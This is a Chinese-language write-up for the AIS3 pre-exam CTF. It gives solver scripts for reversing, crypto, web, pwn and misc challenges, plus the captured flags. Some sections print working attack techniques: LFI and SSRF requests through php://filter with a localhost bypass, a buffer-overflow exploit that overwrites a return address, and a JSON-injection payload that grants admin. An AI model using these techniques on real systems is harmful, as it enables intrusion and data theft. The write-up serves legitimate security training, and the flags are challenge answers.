# AIS3 Pre-exam Writeup
> 此 writeup 只有概述解題過程而已
> Hackmd link: https://hackmd.io/@CSY54/AIS3_Pre-exam_Writeup
[TOC]
---
<!-- <br><br><br><br><br><br><br><br><br><br><br> -->
## Reverse
### Trivial
把程式 strings 出來即可得到 Flag 了
Flag: `AIS3{This_is_a_reallllllllllly_boariiing_challenge}`
### TsaiBro
觀察 IDA Decompile 出來的結果可以發現:
輸出格式為 `發財%.*s發財%.*s`
其中前後兩個 `*` 的參數分別為當前字元在 `"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789{}_"` 中之 index `/ 8 + 1` 及 `% 8 + 1` 的值
```python=
data = open("flag.txt", "r").read().split("\n")[1].replace("發財", " ").split()
a = [len(i) for i in data]
a = [(a[i] - 1) * 8 + (a[i + 1] - 1) for i in range(0, len(a), 2)]
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789{}_"
print(''.join(charset[id] for id in a))
```
Flag `AIS3{y0u_4re_a_b1g_f4n_0f_tsaibro_n0w}`
### HolyGrenade
用 uncompyle6 將題目所給之 .pyc 檔轉換成 .py 檔
觀察 code 可以得知 output 為 flag 四個字四個字經過函式 `OO0o` 加密後的結果
故只要四個字四個字暴力嘗試 flag 即可
(因確定 flag 之前四個字元為 `AIS3` 所以跳過)
```python=
import string
from hashlib import md5
result = open("output.txt", "r").read().strip().split("\n")[1:]
charset = string.digits + string.ascii_letters + "{}_"
def OO0o(arg):
arg = bytearray(arg, 'ascii')
for i in range(0, len(arg), 4):
id0 = arg[i]
id1 = arg[(i + 1)]
id2 = arg[(i + 2)]
id3 = arg[(i + 3)]
arg[i] = id2
arg[i + 1] = id0
arg[i + 2] = id3
arg[i + 3] = id1
return arg.decode('ascii')
flag = ""
for res in result:
found = False
for i in charset:
for j in charset:
for k in charset:
for l in charset:
sub = i + j + k + l
if res == OO0o(md5(bytes(sub)).hexdigest()):
flag += sub
found = True
break
if found:
break
if found:
break
if found:
break
print(flag)
print("AIS3" + flag)
```
Flag `AIS3{7here_15_the_k1ll3r_ra661t}`
---
<!-- <br><br><br><br> -->
## Crypto
### TCash
只要將 `cand` 中的所有字元暴力嘗試一輪即可
```python=
from hashlib import md5, sha256
cand = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ1234567890@,- _{}'
_md5s = [41, 63, 46, 51, 6, 26, 42, 50, 44, 33, 29, 50, 27, 28, 30, 17, 31, 19, 46, 50, 33, 45, 26, 26, 29, 31, 52, 33, 1, 45, 31, 22, 50, 50, 50, 50, 50, 31, 22, 50, 44, 26, 44, 49, 50, 49, 26, 45, 31, 30, 22, 44, 30, 31, 17, 50, 50, 50, 31, 43, 52, 50, 53, 31, 30, 17, 26, 31, 46, 41, 44, 26, 31, 52, 50, 30, 31, 26, 39, 31, 46, 33, 27, 1, 42, 50, 31, 30, 12, 26, 27, 52, 31, 30, 12, 31, 46, 26, 27, 14, 50, 31, 22, 52, 33, 31, 41, 50, 46, 31, 22, 23, 41, 31, 53, 26, 21, 31, 33, 30, 31, 19, 39, 51, 33, 30, 39, 51, 12, 58, 60, 31, 41, 33, 53, 31, 3, 17, 50, 31, 51, 26, 29, 52, 31, 33, 22, 26, 31, 41, 51, 54, 41, 29, 52, 31, 19, 23, 33, 30, 44, 26, 27, 38, 8, 50, 29, 15]
_sha256s = [61, 44, 3, 14, 22, 41, 43, 30, 49, 59, 58, 30, 11, 3, 24, 35, 40, 46, 3, 42, 59, 36, 41, 41, 41, 40, 9, 59, 23, 36, 40, 33, 42, 42, 42, 42, 42, 40, 44, 42, 49, 24, 49, 28, 42, 33, 24, 36, 40, 24, 33, 10, 24, 40, 35, 42, 42, 42, 40, 39, 9, 42, 3, 40, 24, 35, 24, 40, 3, 61, 49, 24, 40, 9, 42, 24, 40, 41, 17, 40, 12, 57, 11, 23, 43, 42, 40, 24, 18, 41, 11, 9, 40, 24, 18, 40, 3, 41, 11, 12, 42, 40, 44, 9, 59, 40, 61, 42, 3, 40, 44, 13, 61, 40, 3, 24, 29, 40, 59, 24, 40, 19, 18, 6, 59, 24, 18, 6, 22, 0, 39, 40, 61, 57, 3, 40, 17, 35, 42, 40, 58, 24, 58, 9, 40, 59, 44, 24, 40, 61, 48, 52, 61, 58, 9, 40, 19, 13, 59, 24, 53, 41, 11, 55, 55, 42, 58, 18]
flag = ""
for id in range(len(_md5s)):
for ch in cand:
if int(md5(ch.encode()).hexdigest(),16)%64 == _md5s[id] and int(sha256(ch.encode()).hexdigest(),16)%64 == _sha256s[id]:
flag += ch
break
print(flag)
```
Flag `AIS3{0N_May_16th @Sead00g said Heeeee ReMEMBerEd tH4t heee UseD thE SAME set 0f On1iNe to01s to S01Ve Rsa AeS RCA DE5 at T-cat-cup, AnD 7he kEys aRE AlWAys TCat2019Key}`
### RSA101
觀察可以發現:對於大於等於 $\varphi$ 的數在模 $\varphi$ 後再模 64 的結果不會等於 $\varphi$ 直接模 64,故可以二分搜 $\varphi$ 的值
得到 $\varphi$ 後,可以透過下面的性質求出 $p, q$
性質:
From the definition of $\varphi$
$$
\begin{align*}
\varphi &= (p - 1) \times (q - 1) \\
&= pq - p - q + 1 \\
&= (N + 1) - (p + q) \\
\end{align*}
$$
Then,
$$
\begin{align*}
&\Rightarrow p + q = (N + 1) - \varphi \\
&\Rightarrow q = N + 1 - \varphi - p
\end{align*}
$$
Substitute $q$ into $N$
$$
\begin{align*}
N &= pq \\
&= p(N + 1 - \varphi - p) \\
&= -p^2 + p(N + 1 - \varphi)
\end{align*}
$$
We can get
$$
p^2 - p(N + 1 - \varphi) + N = 0
$$
By solving the quadratic equation above using formula with
$$
\begin{align*}
a &= 1 \\
b &= -(N + 1 - \varphi) \\
c &= n
\end{align*}
$$
We can get the value of $p$ and $q$, thus decrypt the RSA
```python=
from pwn import *
import binascii, gmpy2
HOST = "pre-exam-chals.ais3.org"
PORT = 10201
def sqrt(n):
l, r = 0, 10 ** len(str(n))
while l < r:
m = (l + r) // 2
if m ** 2 > n:
r = m
else:
l = m + 1
return l - 1
r = remote(HOST, PORT)
e_n = r.recvline().split("(")[2][:-2]
e, n = map(int, e_n.split(","))
enc = int(r.recvline().split(":")[1].strip())
r.recvlines(2)
L, R = 0, 10**len(str(n))
while L < R:
M = (L + R) // 2
r.recvline()
r.sendline(str(M))
res = int(r.recvline().split("= ")[1])
if M % 64 != res:
R = M
else:
L = M + 1
phi = L
D = (n + 1 - phi) ** 2 - 4 * n
sqrt_D = sqrt(D)
while sqrt_D ** 2 != D:
sqrt_D -= 1
p = ((n + 1 - phi) + sqrt_D) / 2
q = ((n + 1 - phi) - sqrt_D) / 2
d = gmpy2.invert(e, phi)
print(binascii.unhexlify('%x' % pow(enc, d, n)))
```
---
<!-- <br><br><br><br> -->
## Web
### SimpleWindow
訪問 `/flag` 頁面即可
Flag `AIS3{D0_y0u_kn0w_Serv1ce_W0rker?}`
### Hidden
觀察網頁的 .js 檔可以發現大約在最後有一段意義不明的 code
抓下來修改一下在本地執行即可得到 Flag
```javascript=
var r = function(a, b, c, d, e) {
return function() {
var r = Array.prototype.slice.call(arguments),
t = r.shift();
return r.reverse().map(function(r, e) {
return String.fromCharCode(r - t - 25 - e)
}).join('')
}(12, 144, 165, 95, 167, 140, 95, 157, 94, 164, 91, 122, 111, 102) + a.toString(36).toLowerCase() + b.toString(36).toLowerCase().split('').map(function(r) {
return String.fromCharCode(r.charCodeAt() + -13)
}).join('') + c.toString(36).toLowerCase() + d.toString(36).toLowerCase().split('').map(function(r) {
return String.fromCharCode(r.charCodeAt() + -13)
}).join('') + e.toString(36).toLowerCase() + function() {
var r = Array.prototype.slice.call(arguments),
t = r.shift();
return r.reverse().map(function(r, e) {
return String.fromCharCode(r - t - 44 - e)
}).join('')
}(18, 190, 127, 170, 113)
};
console.log(r(4, 21, 1234274547001, 21, 579));
```
註:因為數字加上 `.toString()` 在本地會噴錯誤所以改為傳參數進函式
Flag `AIS3{4r3_y0u_4_fr0n73nd_g33k?}`
### d1v1n6
可以很明顯地發現這題是 LFI ,所以就直接來吧
Req: (有點忘了是不是這個)
http://pre-exam-web.ais3.org:10103/?path=php://filter/read=convert.base64-encode/resource=index.php
Res:
```php=
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
// show path of the flag
die($_ENV['FLAG_HINT']);
}
if ($path = @$_GET['path']) {
$path = trim($path);
if (preg_match('/https?:\/\/([^s\/]+)/i', $path, $g)) {
// resolve ip address
$ip = gethostbyname($g[1]);
// no local request
if ($ip == '127.0.0.1' || $ip == '0.0.0.0')
die('Do not request to localhost!');
}
// no flag in path
$path = preg_replace('/flag/i', '', $path);
if ($content = @file_get_contents($path, FALSE, NULL, 0, 1000)) {
// no flag in content
if (preg_match('/flag/i', $content)) {
die('De
```
發現如果從本地訪問的話就會噴 Flag 的提示
Req:
http://pre-exam-web.ais3.org:10103/index.php?path=php://filter/read=convert.base64-encode/resource=http://localhost/index.php
Res:
```text
FLAG_14d65189669f05d206764c9de441474d.txt
```
Req:
http://pre-exam-web.ais3.org:10103/index.php?path=php://filter/read=convert.base64-encode/resource=14d65189669f05d206764c9de441474d.txt
Res:
```text
^`. o
^_ \ \ o o
\ \ { \ o
{ \ / `~~~--__
{ \___----~~' `~~-_ ______ _____
\ /// a `~._(_||___)________/___
/ /~~~~-, ,__. , /// __,,,,) o ______/ \
\/ \/ `~~~; ,---~~-_`~= \ \------o-' \
/ / / /
'._.' _/_/
';|\
Your flag:
AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}
Hints for d1v1n6 d33p3r:
- Find the other web server in the internal network.
- Scanning is forbidden and not necessary.
- Flag is stored as an environment variable.
```
Flag `AIS3{600d_j0b_bu7_7h15_15_n07_7h3_3nd}`
---
<!-- <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> -->
## Pwn
### Welcome BOF
這題很明顯是 BOF
不過我原先對 BOF 的了解是蓋掉 ebp / rbp ,這樣在 return 後會跳到 ebp / rbp 的 address 上
如此就可以跳到我要的 function 上了
後來才知道要蓋掉的應該是 return address
不然這題告知 Ubuntu 版本的目的就沒用了
原先的 exp :
```python=
from pwn import *
HOST = "pre-exam-pwn.ais3.org"
PORT = 10000
addr = 0x400687
r = remote(HOST, PORT)
print(r.recv())
r.sendline('a' * 48 + p64(addr))
r.interactive()
```
---
<!-- <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> -->
## Misc
### Are you admin?
因為題目是將變數內容直接塞入字串中再 parse 成 json
故我們可以透過類似 SQL Injection 的技巧將原字串內的文字註解掉
結果如下:
```shell
Your name:
", "is_admin": "yes"/*
Your age:
*/,"":"
AIS3{xxxxxxxxxxxx}
```
Flag `AIS3{RuBy_js0n_i5_s0_w3ird_0_o}`
### Crystal Maze
就只是走迷宮而已, DFS 可以搞定
```python=
from pwn import *
HOST = "pre-exam-chals.ais3.org"
PORT = 10202
SIZE = 16
direction = ['up', 'left', 'down', 'right']
def dfs(path):
for d in range(4):
# prevent from going back
if len(path) and d == (2 + path[len(path) - 1]) % 4:
continue
r = remote(HOST, PORT)
r.recvuntil(": ")
# send known path
for id in path:
r.sendline(direction[id])
r.recvuntil(": ")
# send new path
r.sendline(direction[d])
res = r.recvline()
r.close()
if "ok" in res:
r.close()
dfs(path + [d])
elif "wall" not in res:
print(res)
exit()
dfs([])
```
Flag `AIS3{4R3_Y0U_RUNN1NG_45_F45T_45_CRY5T4L?}`
### KcufsJ
Trivial, just a reversed jsfuck code
Reverse 一下然後丟上瀏覽器的 console 就可以了
Flag `AIS3{R33v33rs33_JSFUCKKKKKK}`
### Welcome
Trivial
### WTF
看到圖片第一個直覺是迷宮
不過找了好久找不到缺口(起點 / 終點)
後來是在有點放棄的情況下寫了 Flood Fill 亂做才發現是對的

```python=
from PIL import Image
original_path = "./WTF/"
res_path = "./Result/"
filename = "challenge_{}.png"
white = (0xff, 0xff, 0xff)
red = (0xff, 0x00, 0x00)
dx = [ 0, -1, 0, 1]
dy = [ -1, 0, 1, 0]
for i in range(0, 51):
img = Image.open(original_path + filename.format(i)).convert("RGB")
pix = img.load()
queue = []
for st in range(2, 999):
if pix[(2, st)] == white:
queue.append((2, st))
break
while len(queue):
x, y = queue[0]
pix[(y, x)] = red
del queue[0]
for d in range(4):
nx, ny = x + dx[d], y + dy[d]
if pix[(ny, nx)] == white:
queue.append((nx, ny))
img.save(res_path + filename.format(i))
```
###### tags: `CTF`